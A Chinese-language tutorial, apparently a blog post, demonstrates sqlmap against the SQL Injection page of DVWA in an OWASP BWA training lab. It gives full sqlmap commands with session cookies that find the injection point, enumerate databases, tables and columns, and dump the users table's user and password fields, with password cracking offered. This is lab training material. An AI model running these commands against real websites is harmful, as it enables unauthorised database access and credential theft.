本文不对繁杂的引言、细节做介绍,直接进入操作过程。更多细节可以参考sqlmap详解。
说明:进行实践操作之前,假设你已经搭建好了一套DVWA或其他测试环境。
测试平台:Kali Linux操作系统
测试目标:OWASP BWA平台中的DVWA 的SQL Injection
用到工具:Tamper Data
浏览器:Firefox
下面列出体验将用到的参数、选项说明
-u | 指定要进行注入的URL |
--dbs | 枚举数据库管理系统所有数据库 |
-D | 指定要进行枚举的数据库名(一般在--dbs得到之后) |
--tables | 枚举指定数据库(有-D选项)的所有表 |
-T | 指定要进行枚举的表名(--tables之后) |
--columns | 枚举指定表名的列 |
--dump | 转储注入返回的信息 |
cookie | 注入页面的cookie |
-C | 指定要枚举的列字段名 |
以具体操作具体化上表的具体作用。
1、检测页面是否存在注入漏洞。
在Firefox浏览器的Tools菜单栏中打开Tamper data,我们在USER ID处随意输入一个值“aa”,Tamper data捕获HTTP有关信息,我们只要cookie值,右键复制。
在终端输入一下指令:
root@kali:~# sqlmap -u 'http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#' --cookie='security=low; BEEFHOOK=4yvOOc34gzdjDMRAwQrxi7fCkM8TYlQCzghXxWg9JpXe1uOzWyenDDrexJRVEoRtlV56fkadEVKeOwLu; PHPSESSID=un56mfs279tq7o3fb47cn8eie3; JSESSIONID=AA9D7E6D5EC7C1142E41252701BC2E31'
执行中可能会有让你选择[Y/n]的过程,最终会得到下面关键信息
即该URL中的id参数存在SQL注入点,分别为基于错误的注入点和Union查询的注入点,还给出了数据库版本及Web平台信息。
2、进一步探测数据库名称。
root@kali:~# sqlmap -u 'http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#' --cookie='security=low; BEEFHOOK=4yvOOc34gzdjDMRAwQrxi7fCkM8TYlQCzghXxWg9JpXe1uOzWyenDDrexJRVEoRtlV56fkadEVKeOwLu; PHPSESSID=un56mfs279tq7o3fb47cn8eie3; JSESSIONID=AA9D7E6D5EC7C1142E41252701BC2E31' --dbs
也就是加上了--dbs参数,探测到如下信息
除了MySQL默认的系统数据库,还有一个名为dvwa的数据库。
3、看看有些什么表
-D参数来指定dvwa数据库,--tables选项进行表枚举。
root@kali:~# sqlmap -u 'http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#' --cookie='security=low; BEEFHOOK=4yvOOc34gzdjDMRAwQrxi7fCkM8TYlQCzghXxWg9JpXe1uOzWyenDDrexJRVEoRtlV56fkadEVKeOwLu; PHPSESSID=un56mfs279tq7o3fb47cn8eie3; JSESSIONID=AA9D7E6D5EC7C1142E41252701BC2E31' -D dvwa --tables
枚举出表名:[guestbook]和[users],当然是对users的内容更感兴趣。
4、进一步查看users表的字段列表
上一步的基础上使用-T参数指定表名,--columns选项对列表进行枚举
root@kali:~# sqlmap -u 'http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#' --cookie='security=low; BEEFHOOK=4yvOOc34gzdjDMRAwQrxi7fCkM8TYlQCzghXxWg9JpXe1uOzWyenDDrexJRVEoRtlV56fkadEVKeOwLu; PHPSESSID=un56mfs279tq7o3fb47cn8eie3; JSESSIONID=AA9D7E6D5EC7C1142E41252701BC2E31' -D dvwa --tables -T users --columns
得到表的字段名及数据类型
5、各个字段都是什么内容
使用--dump选项转储字段内容并保存,
root@kali:~# sqlmap -u 'http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#' --cookie='security=low; BEEFHOOK=4yvOOc34gzdjDMRAwQrxi7fCkM8TYlQCzghXxWg9JpXe1uOzWyenDDrexJRVEoRtlV56fkadEVKeOwLu; PHPSESSID=un56mfs279tq7o3fb47cn8eie3; JSESSIONID=AA9D7E6D5EC7C1142E41252701BC2E31' -D dvwa --tables -T users --columns --dump
达到目标
最终通过SQL注入得到了指定表的各字段具体信息,虽然password字段会被加密,但是在指令执行过程中会询问是否解密。
也许并非所有字段我们都想要,那么可以通过-C选项指定我们想要的列,比如这里我们只要user和password
root@kali:~# sqlmap -u 'http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#' --cookie='security=low; BEEFHOOK=4yvOOc34gzdjDMRAwQrxi7fCkM8TYlQCzghXxWg9JpXe1uOzWyenDDrexJRVEoRtlV56fkadEVKeOwLu; PHPSESSID=un56mfs279tq7o3fb47cn8eie3; JSESSIONID=AA9D7E6D5EC7C1142E41252701BC2E31' -D dvwa --tables -T users --columns -C user,password--dump
这样就筛选出了我们感兴趣的字段内容。
再补充一点就是dvwa平台如果security等级被设置为high的话,直接sql探测会检测不到存在注入点。